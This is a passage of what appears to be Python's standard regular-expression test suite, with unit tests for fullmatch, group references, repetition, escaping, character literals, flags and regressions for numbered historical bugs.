for a, b in "\xe0\xdf", "\u0430\u0431", "\U0001d49c\U0001d49e": r = r"%s|%s" % (a, a + b) self.assertEqual(re.fullmatch(r, a + b).span(), (0, 2)) self.assertEqual(re.fullmatch(r".*?$", "abc").span(), (0, 3)) self.assertEqual(re.fullmatch(r".*?", "abc").span(), (0, 3)) self.assertEqual(re.fullmatch(r"a.*?b", "ab").span(), (0, 2)) self.assertEqual(re.fullmatch(r"a.*?b", "abb").span(), (0, 3)) self.assertEqual(re.fullmatch(r"a.*?b", "axxb").span(), (0, 4)) self.assertIsNone(re.fullmatch(r"a+", "ab")) self.assertIsNone(re.fullmatch(r"abc$", "abc\n")) self.assertIsNone(re.fullmatch(r"abc\Z", "abc\n")) self.assertIsNone(re.fullmatch(r"(?m)abc$", "abc\n")) self.assertEqual(re.fullmatch(r"ab(?=c)cd", "abcd").span(), (0, 4)) self.assertEqual(re.fullmatch(r"ab(?<=b)cd", "abcd").span(), (0, 4)) self.assertEqual(re.fullmatch(r"(?=a|ab)ab", "ab").span(), (0, 2)) self.assertEqual( re.compile(r"bc").fullmatch("abcd", pos=1, endpos=3).span(), (1, 3)) self.assertEqual( re.compile(r".*?$").fullmatch("abcd", pos=1, endpos=3).span(), (1, 3)) self.assertEqual( re.compile(r".*?").fullmatch("abcd", pos=1, endpos=3).span(), (1, 3)) def test_re_groupref_exists(self): self.assertEqual(re.match('^(\()?([^()]+)(?(1)\))$', '(a)').groups(), ('(', 'a')) self.assertEqual(re.match('^(\()?([^()]+)(?(1)\))$', 'a').groups(), (None, 'a')) self.assertEqual(re.match('^(\()?([^()]+)(?(1)\))$', 'a)'), None) self.assertEqual(re.match('^(\()?([^()]+)(?(1)\))$', '(a'), None) self.assertEqual(re.match('^(?:(a)|c)((?(1)b|d))$', 'ab').groups(), ('a', 'b')) self.assertEqual(re.match('^(?:(a)|c)((?(1)b|d))$', 'cd').groups(), (None, 'd')) self.assertEqual(re.match('^(?:(a)|c)((?(1)|d))$', 'cd').groups(), (None, 'd')) self.assertEqual(re.match('^(?:(a)|c)((?(1)|d))$', 'a').groups(), ('a', '')) # Tests for bug #1177831: exercise groups other than the first group p = re.compile('(?P<g1>a)(?P<g2>b)?((?(g2)c|d))') self.assertEqual(p.match('abc').groups(), ('a', 'b', 'c')) self.assertEqual(p.match('ad').groups(), ('a', None, 'd')) self.assertEqual(p.match('abd'), None) self.assertEqual(p.match('ac'), None) def test_re_groupref(self): self.assertEqual(re.match(r'^(\|)?([^()]+)\1$', '|a|').groups(), ('|', 'a')) self.assertEqual(re.match(r'^(\|)?([^()]+)\1?$', 'a').groups(), (None, 'a')) self.assertEqual(re.match(r'^(\|)?([^()]+)\1$', 'a|'), None) self.assertEqual(re.match(r'^(\|)?([^()]+)\1$', '|a'), None) self.assertEqual(re.match(r'^(?:(a)|c)(\1)$', 'aa').groups(), ('a', 'a')) self.assertEqual(re.match(r'^(?:(a)|c)(\1)?$', 'c').groups(), (None, None)) def test_groupdict(self): self.assertEqual(re.match('(?P<first>first) (?P<second>second)', 'first second').groupdict(), {'first':'first', 'second':'second'}) def test_expand(self): self.assertEqual(re.match("(?P<first>first) (?P<second>second)", "first second") .expand(r"\2 \1 \g<second> \g<first>"), "second first second first") def test_repeat_minmax(self): self.assertEqual(re.match("^(\w){1}$", "abc"), None) self.assertEqual(re.match("^(\w){1}?$", "abc"), None) self.assertEqual(re.match("^(\w){1,2}$", "abc"), None) self.assertEqual(re.match("^(\w){1,2}?$", "abc"), None) self.assertEqual(re.match("^(\w){3}$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){1,3}$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){1,4}$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){3,4}?$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){3}?$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){1,3}?$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){1,4}?$", "abc").group(1), "c") self.assertEqual(re.match("^(\w){3,4}?$", "abc").group(1), "c") self.assertEqual(re.match("^x{1}$", "xxx"), None) self.assertEqual(re.match("^x{1}?$", "xxx"), None) self.assertEqual(re.match("^x{1,2}$", "xxx"), None) self.assertEqual(re.match("^x{1,2}?$", "xxx"), None) self.assertNotEqual(re.match("^x{3}$", "xxx"), None) self.assertNotEqual(re.match("^x{1,3}$", "xxx"), None) self.assertNotEqual(re.match("^x{1,4}$", "xxx"), None) self.assertNotEqual(re.match("^x{3,4}?$", "xxx"), None) self.assertNotEqual(re.match("^x{3}?$", "xxx"), None) self.assertNotEqual(re.match("^x{1,3}?$", "xxx"), None) self.assertNotEqual(re.match("^x{1,4}?$", "xxx"), None) self.assertNotEqual(re.match("^x{3,4}?$", "xxx"), None) self.assertEqual(re.match("^x{}$", "xxx"), None) self.assertNotEqual(re.match("^x{}$", "x{}"), None) def test_getattr(self): self.assertEqual(re.compile("(?i)(a)(b)").pattern, "(?i)(a)(b)") self.assertEqual(re.compile("(?i)(a)(b)").flags, re.I | re.U) self.assertEqual(re.compile("(?i)(a)(b)").groups, 2) self.assertEqual(re.compile("(?i)(a)(b)").groupindex, {}) self.assertEqual(re.compile("(?i)(?P<first>a)(?P<other>b)").groupindex, {'first': 1, 'other': 2}) self.assertEqual(re.match("(a)", "a").pos, 0) self.assertEqual(re.match("(a)", "a").endpos, 1) self.assertEqual(re.match("(a)", "a").string, "a") self.assertEqual(re.match("(a)", "a").regs, ((0, 1), (0, 1))) self.assertNotEqual(re.match("(a)", "a").re, None) def test_special_escapes(self): self.assertEqual(re.search(r"\b(b.)\b", "abcd abc bcd bx").group(1), "bx") self.assertEqual(re.search(r"\B(b.)\B", "abc bcd bc abxd").group(1), "bx") self.assertEqual(re.search(r"\b(b.)\b", "abcd abc bcd bx", re.LOCALE).group(1), "bx") self.assertEqual(re.search(r"\B(b.)\B", "abc bcd bc abxd", re.LOCALE).group(1), "bx") self.assertEqual(re.search(r"\b(b.)\b", "abcd abc bcd bx", re.UNICODE).group(1), "bx") self.assertEqual(re.search(r"\B(b.)\B", "abc bcd bc abxd", re.UNICODE).group(1), "bx") self.assertEqual(re.search(r"^abc$", "\nabc\n", re.M).group(0), "abc") self.assertEqual(re.search(r"^\Aabc\Z$", "abc", re.M).group(0), "abc") self.assertEqual(re.search(r"^\Aabc\Z$", "\nabc\n", re.M), None) self.assertEqual(re.search(r"\b(b.)\b", "abcd abc bcd bx").group(1), "bx") self.assertEqual(re.search(r"\B(b.)\B", "abc bcd bc abxd").group(1), "bx") self.assertEqual(re.search(r"^abc$", "\nabc\n", re.M).group(0), "abc") self.assertEqual(re.search(r"^\Aabc\Z$", "abc", re.M).group(0), "abc") self.assertEqual(re.search(r"^\Aabc\Z$", "\nabc\n", re.M), None) self.assertEqual(re.search(r"\d\D\w\W\s\S", "1aa! a").group(0), "1aa! a") self.assertEqual(re.search(r"\d\D\w\W\s\S", "1aa! a", re.LOCALE).group(0), "1aa! a") self.assertEqual(re.search(r"\d\D\w\W\s\S", "1aa! a", re.UNICODE).group(0), "1aa! a") def test_string_boundaries(self): # See http://bugs.python.org/issue10713 self.assertEqual(re.search(r"\b(abc)\b", "abc").group(1), "abc") # There's a word boundary at the start of a string. self.assertTrue(re.match(r"\b", "abc")) # A non-empty string includes a non-boundary zero-length match. self.assertTrue(re.search(r"\B", "abc")) # There is no non-boundary match at the start of a string. self.assertFalse(re.match(r"\B", "abc")) # However, an empty string contains no word boundaries, and also no # non-boundaries. self.assertEqual(re.search(r"\B", ""), None) # This one is questionable and different from the perlre behaviour, # but describes current behavior. self.assertEqual(re.search(r"\b", ""), None) # A single word-character string has two boundaries, but no # non-boundary gaps. self.assertEqual(len(re.findall(r"\b", "a")), 2) self.assertEqual(len(re.findall(r"\B", "a")), 0) # If there are no words, there are no boundaries self.assertEqual(len(re.findall(r"\b", " ")), 0) self.assertEqual(len(re.findall(r"\b", " ")), 0) # Can match around the whitespace. self.assertEqual(len(re.findall(r"\B", " ")), 2) def test_bigcharset(self): self.assertEqual(re.match("([\u2222\u2223])", "\u2222").group(1), "\u2222") self.assertEqual(re.match("([\u2222\u2223])", "\u2222", re.UNICODE).group(1), "\u2222") r = '[%s]' % ''.join(map(chr, range(256, 2**16, 255))) self.assertEqual(re.match(r, "\uff01", re.UNICODE).group(), "\uff01") def test_big_codesize(self): # Issue #1160 r = re.compile('|'.join(('%d'%x for x in range(10000)))) self.assertIsNotNone(r.match('1000')) self.assertIsNotNone(r.match('9999')) def test_anyall(self): self.assertEqual(re.match("a.b", "a\nb", re.DOTALL).group(0), "a\nb") self.assertEqual(re.match("a.*b", "a\n\nb", re.DOTALL).group(0), "a\n\nb") def test_non_consuming(self): self.assertEqual(re.match("(a(?=\s[^a]))", "a b").group(1), "a") self.assertEqual(re.match("(a(?=\s[^a]*))", "a b").group(1), "a") self.assertEqual(re.match("(a(?=\s[abc]))", "a b").group(1), "a") self.assertEqual(re.match("(a(?=\s[abc]*))", "a bc").group(1), "a") self.assertEqual(re.match(r"(a)(?=\s\1)", "a a").group(1), "a") self.assertEqual(re.match(r"(a)(?=\s\1*)", "a aa").group(1), "a") self.assertEqual(re.match(r"(a)(?=\s(abc|a))", "a a").group(1), "a") self.assertEqual(re.match(r"(a(?!\s[^a]))", "a a").group(1), "a") self.assertEqual(re.match(r"(a(?!\s[abc]))", "a d").group(1), "a") self.assertEqual(re.match(r"(a)(?!\s\1)", "a b").group(1), "a") self.assertEqual(re.match(r"(a)(?!\s(abc|a))", "a b").group(1), "a") def test_ignore_case(self): self.assertEqual(re.match("abc", "ABC", re.I).group(0), "ABC") self.assertEqual(re.match("abc", "ABC", re.I).group(0), "ABC") self.assertEqual(re.match(r"(a\s[^a])", "a b", re.I).group(1), "a b") self.assertEqual(re.match(r"(a\s[^a]*)", "a bb", re.I).group(1), "a bb") self.assertEqual(re.match(r"(a\s[abc])", "a b", re.I).group(1), "a b") self.assertEqual(re.match(r"(a\s[abc]*)", "a bb", re.I).group(1), "a bb") self.assertEqual(re.match(r"((a)\s\2)", "a a", re.I).group(1), "a a") self.assertEqual(re.match(r"((a)\s\2*)", "a aa", re.I).group(1), "a aa") self.assertEqual(re.match(r"((a)\s(abc|a))", "a a", re.I).group(1), "a a") self.assertEqual(re.match(r"((a)\s(abc|a)*)", "a aa", re.I).group(1), "a aa") def test_category(self): self.assertEqual(re.match(r"(\s)", " ").group(1), " ") def test_getlower(self): import _sre self.assertEqual(_sre.getlower(ord('A'), 0), ord('a')) self.assertEqual(_sre.getlower(ord('A'), re.LOCALE), ord('a')) self.assertEqual(_sre.getlower(ord('A'), re.UNICODE), ord('a')) self.assertEqual(re.match("abc", "ABC", re.I).group(0), "ABC") self.assertEqual(re.match("abc", "ABC", re.I).group(0), "ABC") def test_not_literal(self): self.assertEqual(re.search("\s([^a])", " b").group(1), "b") self.assertEqual(re.search("\s([^a]*)", " bb").group(1), "bb") def test_search_coverage(self): self.assertEqual(re.search("\s(b)", " b").group(1), "b") self.assertEqual(re.search("a\s", "a ").group(0), "a ") def assertMatch(self, pattern, text, match=None, span=None, matcher=re.match): if match is None and span is None: # the pattern matches the whole text match = text span = (0, len(text)) elif match is None or span is None: raise ValueError('If match is not None, span should be specified ' '(and vice versa).') m = matcher(pattern, text) self.assertTrue(m) self.assertEqual(m.group(), match) self.assertEqual(m.span(), span) def test_re_escape(self): alnum_chars = string.ascii_letters + string.digits + '_' p = ''.join(chr(i) for i in range(256)) for c in p: if c in alnum_chars: self.assertEqual(re.escape(c), c) elif c == '\x00': self.assertEqual(re.escape(c), '\\000') else: self.assertEqual(re.escape(c), '\\' + c) self.assertMatch(re.escape(c), c) self.assertMatch(re.escape(p), p) def test_re_escape_byte(self): alnum_chars = (string.ascii_letters + string.digits + '_').encode('ascii') p = bytes(range(256)) for i in p: b = bytes([i]) if b in alnum_chars: self.assertEqual(re.escape(b), b) elif i == 0: self.assertEqual(re.escape(b), b'\\000') else: self.assertEqual(re.escape(b), b'\\' + b) self.assertMatch(re.escape(b), b) self.assertMatch(re.escape(p), p) def test_re_escape_non_ascii(self): s = 'xxx\u2620\u2620\u2620xxx' s_escaped = re.escape(s) self.assertEqual(s_escaped, 'xxx\\\u2620\\\u2620\\\u2620xxx') self.assertMatch(s_escaped, s) self.assertMatch('.%s+.' % re.escape('\u2620'), s, 'x\u2620\u2620\u2620x', (2, 7), re.search) def test_re_escape_non_ascii_bytes(self): b = 'y\u2620y\u2620y'.encode('utf-8') b_escaped = re.escape(b) self.assertEqual(b_escaped, b'y\\\xe2\\\x98\\\xa0y\\\xe2\\\x98\\\xa0y') self.assertMatch(b_escaped, b) res = re.findall(re.escape('\u2620'.encode('utf-8')), b) self.assertEqual(len(res), 2) def pickle_test(self, pickle): oldpat = re.compile('a(?:b|(c|e){1,2}?|d)+?(.)') s = pickle.dumps(oldpat) newpat = pickle.loads(s) self.assertEqual(oldpat, newpat) def test_constants(self): self.assertEqual(re.I, re.IGNORECASE) self.assertEqual(re.L, re.LOCALE) self.assertEqual(re.M, re.MULTILINE) self.assertEqual(re.S, re.DOTALL) self.assertEqual(re.X, re.VERBOSE) def test_flags(self): for flag in [re.I, re.M, re.X, re.S, re.L]: self.assertNotEqual(re.compile('^pattern$', flag), None) def test_sre_character_literals(self): for i in [0, 8, 16, 32, 64, 127, 128, 255, 256, 0xFFFF, 0x10000, 0x10FFFF]: if i < 256: self.assertIsNotNone(re.match(r"\%03o" % i, chr(i))) self.assertIsNotNone(re.match(r"\%03o0" % i, chr(i)+"0")) self.assertIsNotNone(re.match(r"\%03o8" % i, chr(i)+"8")) self.assertIsNotNone(re.match(r"\x%02x" % i, chr(i))) self.assertIsNotNone(re.match(r"\x%02x0" % i, chr(i)+"0")) self.assertIsNotNone(re.match(r"\x%02xz" % i, chr(i)+"z")) if i < 0x10000: self.assertIsNotNone(re.match(r"\u%04x" % i, chr(i))) self.assertIsNotNone(re.match(r"\u%04x0" % i, chr(i)+"0")) self.assertIsNotNone(re.match(r"\u%04xz" % i, chr(i)+"z")) self.assertIsNotNone(re.match(r"\U%08x" % i, chr(i))) self.assertIsNotNone(re.match(r"\U%08x0" % i, chr(i)+"0")) self.assertIsNotNone(re.match(r"\U%08xz" % i, chr(i)+"z")) self.assertIsNotNone(re.match(r"\0", "\000")) self.assertIsNotNone(re.match(r"\08", "\0008")) self.assertIsNotNone(re.match(r"\01", "\001")) self.assertIsNotNone(re.match(r"\018", "\0018")) self.assertIsNotNone(re.match(r"\567", chr(0o167))) self.assertRaises(re.error, re.match, r"\911", "") self.assertRaises(re.error, re.match, r"\x1", "") self.assertRaises(re.error, re.match, r"\x1z", "") self.assertRaises(re.error, re.match, r"\u123", "") self.assertRaises(re.error, re.match, r"\u123z", "") self.assertRaises(re.error, re.match, r"\U0001234", "") self.assertRaises(re.error, re.match, r"\U0001234z", "") self.assertRaises(re.error, re.match, r"\U00110000", "") def test_sre_character_class_literals(self): for i in [0, 8, 16, 32, 64, 127, 128, 255, 256, 0xFFFF, 0x10000, 0x10FFFF]: if i < 256: self.assertIsNotNone(re.match(r"[\%o]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\%o8]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\%03o]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\%03o0]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\%03o8]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\x%02x]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\x%02x0]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\x%02xz]" % i, chr(i))) if i < 0x10000: self.assertIsNotNone(re.match(r"[\u%04x]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\u%04x0]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\u%04xz]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\U%08x]" % i, chr(i))) self.assertIsNotNone(re.match(r"[\U%08x0]" % i, chr(i)+"0")) self.assertIsNotNone(re.match(r"[\U%08xz]" % i, chr(i)+"z")) self.assertIsNotNone(re.match(r"[\U0001d49c-\U0001d4b5]", "\U0001d49e")) self.assertRaises(re.error, re.match, r"[\911]", "") self.assertRaises(re.error, re.match, r"[\x1z]", "") self.assertRaises(re.error, re.match, r"[\u123z]", "") self.assertRaises(re.error, re.match, r"[\U0001234z]", "") self.assertRaises(re.error, re.match, r"[\U00110000]", "") def test_sre_byte_literals(self): for i in [0, 8, 16, 32, 64, 127, 128, 255]: self.assertIsNotNone(re.match((r"\%03o" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"\%03o0" % i).encode(), bytes([i])+b"0")) self.assertIsNotNone(re.match((r"\%03o8" % i).encode(), bytes([i])+b"8")) self.assertIsNotNone(re.match((r"\x%02x" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"\x%02x0" % i).encode(), bytes([i])+b"0")) self.assertIsNotNone(re.match((r"\x%02xz" % i).encode(), bytes([i])+b"z")) self.assertIsNotNone(re.match(br"\u", b'u')) self.assertIsNotNone(re.match(br"\U", b'U')) self.assertIsNotNone(re.match(br"\0", b"\000")) self.assertIsNotNone(re.match(br"\08", b"\0008")) self.assertIsNotNone(re.match(br"\01", b"\001")) self.assertIsNotNone(re.match(br"\018", b"\0018")) self.assertIsNotNone(re.match(br"\567", bytes([0o167]))) self.assertRaises(re.error, re.match, br"\911", b"") self.assertRaises(re.error, re.match, br"\x1", b"") self.assertRaises(re.error, re.match, br"\x1z", b"") def test_sre_byte_class_literals(self): for i in [0, 8, 16, 32, 64, 127, 128, 255]: self.assertIsNotNone(re.match((r"[\%o]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\%o8]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\%03o]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\%03o0]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\%03o8]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\x%02x]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\x%02x0]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match((r"[\x%02xz]" % i).encode(), bytes([i]))) self.assertIsNotNone(re.match(br"[\u]", b'u')) self.assertIsNotNone(re.match(br"[\U]", b'U')) self.assertRaises(re.error, re.match, br"[\911]", "") self.assertRaises(re.error, re.match, br"[\x1z]", "") def test_bug_113254(self): self.assertEqual(re.match(r'(a)|(b)', 'b').start(1), -1) self.assertEqual(re.match(r'(a)|(b)', 'b').end(1), -1) self.assertEqual(re.match(r'(a)|(b)', 'b').span(1), (-1, -1)) def test_bug_527371(self): # bug described in patches 527371/672491 self.assertEqual(re.match(r'(a)?a','a').lastindex, None) self.assertEqual(re.match(r'(a)(b)?b','ab').lastindex, 1) self.assertEqual(re.match(r'(?P<a>a)(?P<b>b)?b','ab').lastgroup, 'a') self.assertEqual(re.match("(?P<a>a(b))", "ab").lastgroup, 'a') self.assertEqual(re.match("((a))", "a").lastindex, 1) def test_bug_545855(self): # bug 545855 -- This pattern failed to cause a compile error as it # should, instead provoking a TypeError. self.assertRaises(re.error, re.compile, 'foo[a-') def test_bug_418626(self): # bugs 418626 at al. -- Testing Greg Chapman's addition of op code # SRE_OP_MIN_REPEAT_ONE for eliminating recursion on simple uses of # pattern '*?' on a long string. self.assertEqual(re.match('.*?c', 10000*'ab'+'cd').end(0), 20001) self.assertEqual(re.match('.*?cd', 5000*'ab'+'c'+5000*'ab'+'cde').end(0), 20003) self.assertEqual(re.match('.*?cd', 20000*'abc'+'de').end(0), 60001) # non-simple '*?' still used to hit the recursion limit, before the # non-recursive scheme was implemented. self.assertEqual(re.search('(a|b)*?c', 10000*'ab'+'cd').end(0), 20001) def test_bug_612074(self): pat="["+re.escape("\u2039")+"]" self.assertEqual(re.compile(pat) and 1, 1) def test_stack_overflow(self): # nasty cases that used to overflow the straightforward recursive # implementation of repeated groups. self.assertEqual(re.match('(x)*', 50000*'x').group(1), 'x') self.assertEqual(re.match('(x)*y', 50000*'x'+'y').group(1), 'x') self.assertEqual(re.match('(x)*?y', 50000*'x'+'y').group(1), 'x') def test_unlimited_zero_width_repeat(self): # Issue #9669 self.assertIsNone(re.match(r'(?:a?)*y', 'z')) self.assertIsNone(re.match(r'(?:a?)+y', 'z')) self.assertIsNone(re.match(r'(?:a?){2,}y', 'z')) self.assertIsNone(re.match(r'(?:a?)*?y', 'z')) self.assertIsNone(re.match(r'(?:a?)+?y', 'z')) self.assertIsNone(re.match(r'(?:a?){2,}?y', 'z')) def test_scanner(self): def s_ident(scanner, token): return token def s_operator(scanner, token): return "op%s" % token def s_float(scanner, token): return float(token) def s_int(scanner, token): return int(token) scanner = Scanner([ (r"[a-zA-Z_]\w*", s_ident), (r"\d+\.\d*", s_float), (r"\d+", s_int), (r"=|\+|-|\*|/", s_operator), (r"\s+", None), ]) self.assertNotEqual(scanner.scanner.scanner("").pattern, None) self.assertEqual(scanner.scan("sum = 3*foo + 312.50 + bar"), (['sum', 'op=', 3, 'op*', 'foo', 'op+', 312.5, 'op+', 'bar'], '')) def test_bug_448951(self): # bug 448951 (similar to 429357, but with single char match) # (Also test greedy matches.) for op in '','?','*': self.assertEqual(re.match(r'((.%s):)?z'%op, 'z').groups(), (None, None)) self.assertEqual(re.match(r'((.%s):)?z'%op, 'a:z').groups(), ('a:', 'a')) def test_bug_725106(self): # capturing groups in alternatives in repeats self.assertEqual(re.match('^((a)|b)*', 'abc').groups(), ('b', 'a')) self.assertEqual(re.match('^(([ab])|c)*', 'abc').groups(), ('c', 'b')) self.assertEqual(re.match('^((d)|[ab])*', 'abc').groups(), ('b', None)) self.assertEqual(re.match('^((a)c|[ab])*', 'abc').groups(), ('b', None)) self.assertEqual(re.match('^((a)|b)*?c', 'abc').groups(), ('b', 'a')) self.assertEqual(re.match('^(([ab])|c)*?d', 'abcd').groups(), ('c', 'b')) self.assertEqual(re.match('^((d)|[ab])*?c', 'abc').groups(), ('b', None)) self.assertEqual(re.match('^((a)c|[ab])*?c', 'abc').groups(), ('b', None)) def test_bug_725149(self): # mark_stack_base restoring before restoring marks self.assertEqual(re.match('(a)(?:(?=(b)*)c)*', 'abb').groups(), ('a', None)) self.assertEqual(re.match('(a)((?!(b)*))*', 'abb').groups(), ('a', None, None)) def test_bug_764548(self): # bug 764548, re.compile() barfs on str/unicode subclasses class my_unicode(str): pass pat = re.compile(my_unicode("abc")) self.assertEqual(pat.match("xyz"), None) def test_finditer(self): iter = re.finditer(r":+", "a:b::c:::d") self.assertEqual([item.group(0) for item in iter], [":", "::", ":::"]) pat = re.compile(r":+") iter = pat.finditer("a:b::c:::d", 1, 10) self.assertEqual([item.group(0) for item in iter], [":", "::", ":::"]) pat = re.compile(r":+") iter = pat.finditer("a:b::c:::d", pos=1, endpos=10) self.assertEqual([item.group(0) for item in iter], [":", "::", ":::"]) pat = re.compile(r":+") iter = pat.finditer("a:b::c:::d", endpos=10, pos=1) self.assertEqual([item.group(0) for item in iter], [":", "::", ":::"]) pat = re.compile(r":+") iter = pat.finditer("a:b::c:::d", pos=3, endpos=8) self.assertEqual([item.group(0) for item in iter], ["::", "::"]) def test_bug_926075(self): self.assertTrue(re.compile('bug_926075') is not re.compile(b'bug_926075')) def test_bug_931848(self): pattern = eval('"[\u002E\u3002\uFF0E\uFF61]"') self.assertEqual(re.compile(pattern).split("a.b.c"), ['a','b','c']) def test_bug_581080(self): iter = re.finditer(r"\s", "a b") self.assertEqual(next(iter).span(), (1,2)) self.assertRaises(StopIteration, next, iter) scanner = re.compile(r"\s").scanner("a b") self.assertEqual(scanner.search().span(), (1, 2)) self.assertEqual(scanner.search(), None) def test_bug_817234(self): iter = re.finditer(r".*", "asdf") self.assertEqual(next(iter).span(), (0, 4)) self.assertEqual(next(iter).span(), (4, 4)) self.assertRaises(StopIteration, next, iter) def test_bug_6561(self): # '\d' should match characters in Unicode category 'Nd' # (Number, Decimal Digit), but not those in 'Nl' (Number, # Letter) or 'No' (Number, Other). decimal_digits = [ '\u0037', # '\N{DIGIT SEVEN}', category 'Nd' '\u0e58', # '\N{THAI DIGIT SIX}', category 'Nd' '\uff10', # '\N{FULLWIDTH DIGIT ZERO}', category 'Nd' ] for x in decimal_digits: self.assertEqual(re.match('^\d$', x).group(0), x) not_decimal_digits = [ '\u2165', # '\N{ROMAN NUMERAL SIX}', category 'Nl' '\u3039', # '\N{HANGZHOU NUMERAL TWENTY}', category 'Nl' '\u2082', # '\N{SUBSCRIPT TWO}', category 'No' '\u32b4', # '\N{CIRCLED NUMBER THIRTY NINE}', category 'No' ] for x in not_decimal_digits: self.assertIsNone(re.match('^\d$', x)) def test_empty_array(self): # SF buf 1647541 import array for typecode in 'bBuhHiIlLfd': a = array.array(typecode) self.assertEqual(re.compile(b"bla").match(a), None) self.assertEqual(re.compile(b"").match(a).groups(), ()) def test_inline_flags(self): # Bug #1700 upper_char = chr(0x1ea0) # Latin Capital Letter A with Dot Bellow lower_char = chr(0x1ea1) # Latin Small Letter A with Dot Bellow p = re.compile(upper_char, re.I | re.U) q = p.match(lower_char) self.assertNotEqual(q, None) p = re.compile(lower_char, re.I | re.U) q = p.match(upper_char) self.assertNotEqual(q, None) p = re.compile('(?i)' + upper_char, re.U) q = p.match(lower_char) self.assertNotEqual(q, None) p = re.compile('(?i)' + lower_char, re.U) q = p.match(upper_char) self.assertNotEqual(q, None) p = re.compile('(?iu)' + upper_char) q = p.match(lower_char) self.assertNotEqual(q, None) p = re.compile('(?iu)' + lower_char) q = p.match(upper_char) self.assertNotEqual(q, None) def test_dollar_matches_twice(self): "$ matches the end of string, and just before the terminating \n" pattern = re.compile('$') self.assertEqual(pattern.sub('#', 'a\nb\n'), 'a\nb#\n#') self.assertEqual(pattern.sub('#', 'a\nb\nc'), 'a\nb\nc#') self.assertEqual(pattern.sub('#', '\n'), '#\n#') pattern = re.compile('$', re.MULTILINE) self.assertEqual(pattern.sub('#', 'a\nb\n' ), 'a#\nb#\n#' ) self.assertEqual(pattern.sub('#', 'a\nb\nc'), 'a#\nb#\nc#') self.assertEqual(pattern.sub('#', '\n'), '#\n#') def test_bytes_str_mixing(self): # Mixing str and bytes is disallowed pat = re.compile('.') bpat = re.compile(b'.') self.assertRaises(TypeError, pat.match, b'b') self.assertRaises(TypeError, bpat.match, 'b') self.assertRaises(TypeError, pat.sub, b'b', 'c') self.assertRaises(TypeError, pat.sub, 'b', b'c') self.assertRaises(TypeError, pat.sub, b'b', b'c') self.assertRaises(TypeError, bpat.sub, b'b', 'c') self.assertRaises(TypeError, bpat.sub, 'b', b'c') self.assertRaises(TypeError, bpat.sub, 'b', 'c') def test_ascii_and_unicode_flag(self): # String patterns for flags in (0, re.UNICODE): pat = re.compile('\xc0', flags | re.IGNORECASE) self.assertNotEqual(pat.match('\xe0'), None) pat = re.compile('\w', flags) self.assertNotEqual(pat.match('\xe0'), None) pat = re.compile('\xc0', re.ASCII | re.IGNORECASE) self.assertEqual(pat.match('\xe0'), None) pat = re.compile('(?a)\xc0', re.IGNORECASE) self.assertEqual(pat.match('\xe0'), None) pat = re.compile('\w', re.ASCII) self.assertEqual(pat.match('\xe0'), None) pat = re.compile('(?a)\w') self.assertEqual(pat.match('\xe0'), None) # Bytes patterns for flags in (0, re.ASCII): pat = re.compile(b'\xc0', re.IGNORECASE) self.assertEqual(pat.match(b'\xe0'), None) pat = re.compile(b'\w') self.assertEqual(pat.match(b'\xe0'), None) # Incompatibilities self.assertRaises(ValueError, re.compile, b'\w', re.UNICODE) self.assertRaises(ValueError, re.compile, b'(?u)\w') self.assertRaises(ValueError, re.compile, '\w', re.UNICODE | re.ASCII) self.assertRaises(ValueError, re.compile, '(?u)\w', re.ASCII) self.assertRaises(ValueError, re.compile, '(?a)\w', re.UNICODE) self.assertRaises(ValueError, re.compile, '(?au)\w') def test_bug_6509(self): # Replacement strings of both types must parse properly. # all strings pat = re.compile('a(\w)') self.assertEqual(pat.sub('b\\1', 'ac'), 'bc') pat = re.compile('a(.)') self.assertEqual(pat.sub('b\\1', 'a\u1234'), 'b\u1234') pat = re.compile('..') self.assertEqual(pat.sub(lambda m: 'str', 'a5'), 'str') # all bytes pat = re.compile(b'a(\w)') self.assertEqual(pat.sub(b'b\\1', b'ac'), b'bc') pat = re.compile(b'a(.)') self.assertEqual(pat.sub(b'b\\1', b'a\xCD'), b'b\xCD') pat = re.compile(b'..') self.assertEqual(pat.sub(lambda m: b'bytes', b'a5'), b'bytes') def test_dealloc(self): # issue 3299: check for segfault in debug build import _sre # the overflow limit is different on wide and narrow builds and it # depends on the definition of SRE_CODE (see sre.h). # 2**128 should be big enough to overflow on both. For smaller values # a RuntimeError is raised instead of OverflowError. long_overflow = 2**128 self.assertRaises(TypeError, re.finditer, "a", {}) self.assertRaises(OverflowError, _sre.compile, "abc", 0, [long_overflow]) self.assertRaises(TypeError, _sre.compile, {}, 0, []) def test_search_dot_unicode(self): self.assertIsNotNone(re.search("123.*-", '123abc-')) self.assertIsNotNone(re.search("123.*-", '123\xe9-')) self.assertIsNotNone(re.search("123.*-", '123\u20ac-')) self.assertIsNotNone(re.search("123.*-", '123\U0010ffff-')) self.assertIsNotNone(re.search("123.*-", '123\xe9\u20ac\U0010ffff-')) def test_compile(self): # Test return value when given string and pattern as parameter pattern = re.compile('random pattern') self.assertIsInstance(pattern, re._pattern_type) same_pattern = re.compile(pattern) self.assertIsInstance(same_pattern, re._pattern_type) self.assertIs(same_pattern, pattern) # Test behaviour when not given a string or pattern as parameter self.assertRaises(TypeError, re.compile, 0) def test_bug_13899(self): # Issue #13899: re pattern r"[\A]" should work like "A" but matches # nothing. Ditto B and Z. 